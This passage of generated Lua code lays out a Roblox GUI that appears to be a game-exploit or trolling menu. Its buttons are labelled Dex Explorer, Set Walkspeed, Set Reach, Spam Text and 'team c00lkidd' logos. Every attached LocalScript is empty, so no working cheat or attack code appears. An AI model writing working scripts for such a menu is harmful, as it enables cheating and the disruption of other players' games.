G2L["a0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a0"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["a0"]["Name"] = [[Button]];
G2L["a0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a0"]["Text"] = [[Destroy Gui]];
G2L["a0"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
G2L["a1"] = Instance.new("LocalScript", G2L["a0"]);



-- StarterGui.CoolGui.Frame.Page3.Section2.Button
G2L["a2"] = Instance.new("TextButton", G2L["9a"]);
G2L["a2"]["BorderSizePixel"] = 3;
G2L["a2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a2"]["TextSize"] = 14;
G2L["a2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a2"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["a2"]["Name"] = [[Button]];
G2L["a2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a2"]["Text"] = [[Dex Explorer]];
G2L["a2"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
G2L["a3"] = Instance.new("LocalScript", G2L["a2"]);



-- StarterGui.CoolGui.Frame.Page3.Section1
G2L["a4"] = Instance.new("Frame", G2L["98"]);
G2L["a4"]["Active"] = true;
G2L["a4"]["BorderSizePixel"] = 3;
G2L["a4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a4"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["a4"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["a4"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["a4"]["Name"] = [[Section1]];


-- StarterGui.CoolGui.Frame.Page3.Section1.SectionTitle
G2L["a5"] = Instance.new("TextLabel", G2L["a4"]);
G2L["a5"]["BorderSizePixel"] = 3;
G2L["a5"]["TextSize"] = 14;
G2L["a5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["a5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a5"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["a5"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a5"]["Text"] = [[LocalPlayer]];
G2L["a5"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["a6"] = Instance.new("TextButton", G2L["a4"]);
G2L["a6"]["BorderSizePixel"] = 3;
G2L["a6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a6"]["TextSize"] = 14;
G2L["a6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["a6"]["Name"] = [[Button]];
G2L["a6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a6"]["Text"] = [[Billboard Gui]];
G2L["a6"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["a7"] = Instance.new("LocalScript", G2L["a6"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["a8"] = Instance.new("TextButton", G2L["a4"]);
G2L["a8"]["TextWrapped"] = true;
G2L["a8"]["BorderSizePixel"] = 3;
G2L["a8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a8"]["TextSize"] = 14;
G2L["a8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["a8"]["Name"] = [[Button]];
G2L["a8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["a8"]["Text"] = [[Disco Character]];
G2L["a8"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["a9"] = Instance.new("LocalScript", G2L["a8"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["aa"] = Instance.new("TextButton", G2L["a4"]);
G2L["aa"]["BorderSizePixel"] = 3;
G2L["aa"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["aa"]["TextSize"] = 14;
G2L["aa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["aa"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["aa"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["aa"]["Name"] = [[Button]];
G2L["aa"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["aa"]["Text"] = [[Set Platform]];
G2L["aa"]["Position"] = UDim2.new(0, 0, 0, 99);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["ab"] = Instance.new("LocalScript", G2L["aa"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["ac"] = Instance.new("TextButton", G2L["a4"]);
G2L["ac"]["BorderSizePixel"] = 3;
G2L["ac"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ac"]["TextSize"] = 14;
G2L["ac"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ac"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ac"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ac"]["Name"] = [[Button]];
G2L["ac"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ac"]["Text"] = [[Floating Pad]];
G2L["ac"]["Position"] = UDim2.new(0, 0, 0, 132);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["ad"] = Instance.new("LocalScript", G2L["ac"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["ae"] = Instance.new("TextButton", G2L["a4"]);
G2L["ae"]["BorderSizePixel"] = 3;
G2L["ae"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ae"]["TextSize"] = 14;
G2L["ae"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ae"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ae"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ae"]["Name"] = [[Button]];
G2L["ae"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ae"]["Text"] = [[Set Reach]];
G2L["ae"]["Position"] = UDim2.new(0, 0, 0, 165);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["af"] = Instance.new("LocalScript", G2L["ae"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["b0"] = Instance.new("TextButton", G2L["a4"]);
G2L["b0"]["TextWrapped"] = true;
G2L["b0"]["BorderSizePixel"] = 3;
G2L["b0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b0"]["TextSize"] = 14;
G2L["b0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b0"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["b0"]["Name"] = [[Button]];
G2L["b0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["b0"]["Text"] = [[Play Animation]];
G2L["b0"]["Position"] = UDim2.new(0, 0, 0, 198);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["b1"] = Instance.new("LocalScript", G2L["b0"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["b2"] = Instance.new("TextButton", G2L["a4"]);
G2L["b2"]["BorderSizePixel"] = 3;
G2L["b2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b2"]["TextSize"] = 14;
G2L["b2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b2"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["b2"]["Name"] = [[Button]];
G2L["b2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["b2"]["Text"] = [[Chicken Arms]];
G2L["b2"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["b3"] = Instance.new("LocalScript", G2L["b2"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["b4"] = Instance.new("TextButton", G2L["a4"]);
G2L["b4"]["TextWrapped"] = true;
G2L["b4"]["BorderSizePixel"] = 3;
G2L["b4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b4"]["TextSize"] = 14;
G2L["b4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b4"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["b4"]["Name"] = [[Button]];
G2L["b4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["b4"]["Text"] = [[Set JumpPower]];
G2L["b4"]["Position"] = UDim2.new(0, 73, 0, 99);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["b5"] = Instance.new("LocalScript", G2L["b4"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["b6"] = Instance.new("TextButton", G2L["a4"]);
G2L["b6"]["BorderSizePixel"] = 3;
G2L["b6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b6"]["TextSize"] = 14;
G2L["b6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["b6"]["Name"] = [[Button]];
G2L["b6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["b6"]["Text"] = [[Set Walkspeed]];
G2L["b6"]["Position"] = UDim2.new(0, 73, 0, 165);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["b7"] = Instance.new("LocalScript", G2L["b6"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["b8"] = Instance.new("TextButton", G2L["a4"]);
G2L["b8"]["BorderSizePixel"] = 3;
G2L["b8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b8"]["TextSize"] = 14;
G2L["b8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["b8"]["Name"] = [[Button]];
G2L["b8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["b8"]["Text"] = [[Spam Text]];
G2L["b8"]["Position"] = UDim2.new(0, 73, 0, 198);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["b9"] = Instance.new("LocalScript", G2L["b8"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["ba"] = Instance.new("TextButton", G2L["a4"]);
G2L["ba"]["BorderSizePixel"] = 3;
G2L["ba"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ba"]["TextSize"] = 14;
G2L["ba"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ba"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ba"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ba"]["Name"] = [[Button]];
G2L["ba"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ba"]["Text"] = [[Head Shake]];
G2L["ba"]["Position"] = UDim2.new(0, 73, 0, 132);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["bb"] = Instance.new("LocalScript", G2L["ba"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["bc"] = Instance.new("TextButton", G2L["a4"]);
G2L["bc"]["BorderSizePixel"] = 3;
G2L["bc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bc"]["TextSize"] = 14;
G2L["bc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["bc"]["Size"] = UDim2.new(0.475, 0, 0, 30);
G2L["bc"]["Name"] = [[Button]];
G2L["bc"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["bc"]["Text"] = [[Set Gravity]];
G2L["bc"]["Position"] = UDim2.new(0, 0, 0, 231);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["bd"] = Instance.new("LocalScript", G2L["bc"]);



-- StarterGui.CoolGui.Frame.Page3.Section1.Button
G2L["be"] = Instance.new("TextButton", G2L["a4"]);
G2L["be"]["BorderSizePixel"] = 3;
G2L["be"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["be"]["TextSize"] = 14;
G2L["be"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["be"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["be"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["be"]["Name"] = [[Button]];
G2L["be"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["be"]["Text"] = [[Change Name]];
G2L["be"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
G2L["bf"] = Instance.new("LocalScript", G2L["be"]);



-- StarterGui.CoolGui.Frame.Page4
G2L["c0"] = Instance.new("Frame", G2L["2"]);
G2L["c0"]["Visible"] = false;
G2L["c0"]["ZIndex"] = 2;
G2L["c0"]["BorderSizePixel"] = 3;
G2L["c0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c0"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["c0"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["c0"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c0"]["Name"] = [[Page4]];


-- StarterGui.CoolGui.Frame.Page4.PageLabel
G2L["c1"] = Instance.new("TextLabel", G2L["c0"]);
G2L["c1"]["ZIndex"] = 2;
G2L["c1"]["BorderSizePixel"] = 3;
G2L["c1"]["TextSize"] = 14;
G2L["c1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c1"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["c1"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c1"]["Text"] = [[Page 4]];
G2L["c1"]["Name"] = [[PageLabel]];
G2L["c1"]["Position"] = UDim2.new(0, 0, 1, -30);


-- StarterGui.CoolGui.Frame.Page4.Section2
G2L["c2"] = Instance.new("Frame", G2L["c0"]);
G2L["c2"]["Active"] = true;
G2L["c2"]["BorderSizePixel"] = 3;
G2L["c2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c2"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["c2"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["c2"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c2"]["Name"] = [[Section2]];


-- StarterGui.CoolGui.Frame.Page4.Section2.SectionTitle
G2L["c3"] = Instance.new("TextLabel", G2L["c2"]);
G2L["c3"]["BorderSizePixel"] = 3;
G2L["c3"]["TextSize"] = 14;
G2L["c3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["c3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c3"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["c3"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["c3"]["Text"] = [[Preset Music IDs]];
G2L["c3"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page4.Section2.Button
G2L["c4"] = Instance.new("TextButton", G2L["c2"]);
G2L["c4"]["BorderSizePixel"] = 3;
G2L["c4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c4"]["TextSize"] = 14;
G2L["c4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c4"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["c4"]["Name"] = [[Button]];
G2L["c4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["c4"]["Text"] = [[Elctro Sp00k]];
G2L["c4"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
G2L["c5"] = Instance.new("LocalScript", G2L["c4"]);



-- StarterGui.CoolGui.Frame.Page4.Section2.Button
G2L["c6"] = Instance.new("TextButton", G2L["c2"]);
G2L["c6"]["BorderSizePixel"] = 3;
G2L["c6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c6"]["TextSize"] = 14;
G2L["c6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["c6"]["Name"] = [[Button]];
G2L["c6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["c6"]["Text"] = [[Chop Suey]];
G2L["c6"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
G2L["c7"] = Instance.new("LocalScript", G2L["c6"]);



-- StarterGui.CoolGui.Frame.Page4.Section2.Button
G2L["c8"] = Instance.new("TextButton", G2L["c2"]);
G2L["c8"]["BorderSizePixel"] = 3;
G2L["c8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c8"]["TextSize"] = 14;
G2L["c8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["c8"]["Name"] = [[Button]];
G2L["c8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["c8"]["Text"] = [[Scream]];
G2L["c8"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
G2L["c9"] = Instance.new("LocalScript", G2L["c8"]);



-- StarterGui.CoolGui.Frame.Page4.Section2.Button
G2L["ca"] = Instance.new("TextButton", G2L["c2"]);
G2L["ca"]["BorderSizePixel"] = 3;
G2L["ca"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ca"]["TextSize"] = 14;
G2L["ca"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ca"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ca"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ca"]["Name"] = [[Button]];
G2L["ca"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ca"]["Text"] = [[Raining Tacos]];
G2L["ca"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
G2L["cb"] = Instance.new("LocalScript", G2L["ca"]);



-- StarterGui.CoolGui.Frame.Page4.Section1
G2L["cc"] = Instance.new("Frame", G2L["c0"]);
G2L["cc"]["Active"] = true;
G2L["cc"]["BorderSizePixel"] = 3;
G2L["cc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cc"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["cc"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["cc"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["cc"]["Name"] = [[Section1]];


-- StarterGui.CoolGui.Frame.Page4.Section1.SectionTitle
G2L["cd"] = Instance.new("TextLabel", G2L["cc"]);
G2L["cd"]["BorderSizePixel"] = 3;
G2L["cd"]["TextSize"] = 14;
G2L["cd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cd"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["cd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["cd"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["cd"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["cd"]["Text"] = [[Preset Skybox/Decal IDs]];
G2L["cd"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["ce"] = Instance.new("TextButton", G2L["cc"]);
G2L["ce"]["TextWrapped"] = true;
G2L["ce"]["BorderSizePixel"] = 3;
G2L["ce"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ce"]["TextSize"] = 14;
G2L["ce"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ce"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ce"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ce"]["Name"] = [[Button]];
G2L["ce"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ce"]["Text"] = [[team c00lkidd Logo 1]];
G2L["ce"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["cf"] = Instance.new("LocalScript", G2L["ce"]);



-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["d0"] = Instance.new("TextButton", G2L["cc"]);
G2L["d0"]["BorderSizePixel"] = 3;
G2L["d0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d0"]["TextSize"] = 14;
G2L["d0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d0"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["d0"]["Name"] = [[Button]];
G2L["d0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["d0"]["Text"] = [[Thomas]];
G2L["d0"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["d1"] = Instance.new("LocalScript", G2L["d0"]);



-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["d2"] = Instance.new("TextButton", G2L["cc"]);
G2L["d2"]["TextWrapped"] = true;
G2L["d2"]["BorderSizePixel"] = 3;
G2L["d2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d2"]["TextSize"] = 14;
G2L["d2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d2"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["d2"]["Name"] = [[Button]];
G2L["d2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["d2"]["Text"] = [[team skrubl0rd]];
G2L["d2"]["Position"] = UDim2.new(0, 0, 0, 99);


-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["d3"] = Instance.new("LocalScript", G2L["d2"]);



-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["d4"] = Instance.new("TextButton", G2L["cc"]);
G2L["d4"]["TextWrapped"] = true;
G2L["d4"]["BorderSizePixel"] = 3;
G2L["d4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d4"]["TextSize"] = 14;
G2L["d4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d4"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["d4"]["Name"] = [[Button]];
G2L["d4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["d4"]["Text"] = [[team starp4tch]];
G2L["d4"]["Position"] = UDim2.new(0, 0, 0, 132);


-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["d5"] = Instance.new("LocalScript", G2L["d4"]);



-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["d6"] = Instance.new("TextButton", G2L["cc"]);
G2L["d6"]["BorderSizePixel"] = 3;
G2L["d6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d6"]["TextSize"] = 14;
G2L["d6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["d6"]["Name"] = [[Button]];
G2L["d6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["d6"]["Text"] = [[c00lkidd]];
G2L["d6"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["d7"] = Instance.new("LocalScript", G2L["d6"]);



-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["d8"] = Instance.new("TextButton", G2L["cc"]);
G2L["d8"]["TextWrapped"] = true;
G2L["d8"]["BorderSizePixel"] = 3;
G2L["d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d8"]["TextSize"] = 14;
G2L["d8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["d8"]["Name"] = [[Button]];
G2L["d8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["d8"]["Text"] = [[team 1x3x5x6]];
G2L["d8"]["Position"] = UDim2.new(0, 73, 0, 99);


-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["d9"] = Instance.new("LocalScript", G2L["d8"]);



-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["da"] = Instance.new("TextButton", G2L["cc"]);
G2L["da"]["BorderSizePixel"] = 3;
G2L["da"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["da"]["TextSize"] = 14;
G2L["da"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["da"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["da"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["da"]["Name"] = [[Button]];
G2L["da"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["da"]["Text"] = [[ExPro]];
G2L["da"]["Position"] = UDim2.new(0, 73, 0, 132);


-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["db"] = Instance.new("LocalScript", G2L["da"]);



-- StarterGui.CoolGui.Frame.Page4.Section1.Button
G2L["dc"] = Instance.new("TextButton", G2L["cc"]);
G2L["dc"]["TextWrapped"] = true;
G2L["dc"]["BorderSizePixel"] = 3;
G2L["dc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["dc"]["TextSize"] = 14;
G2L["dc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
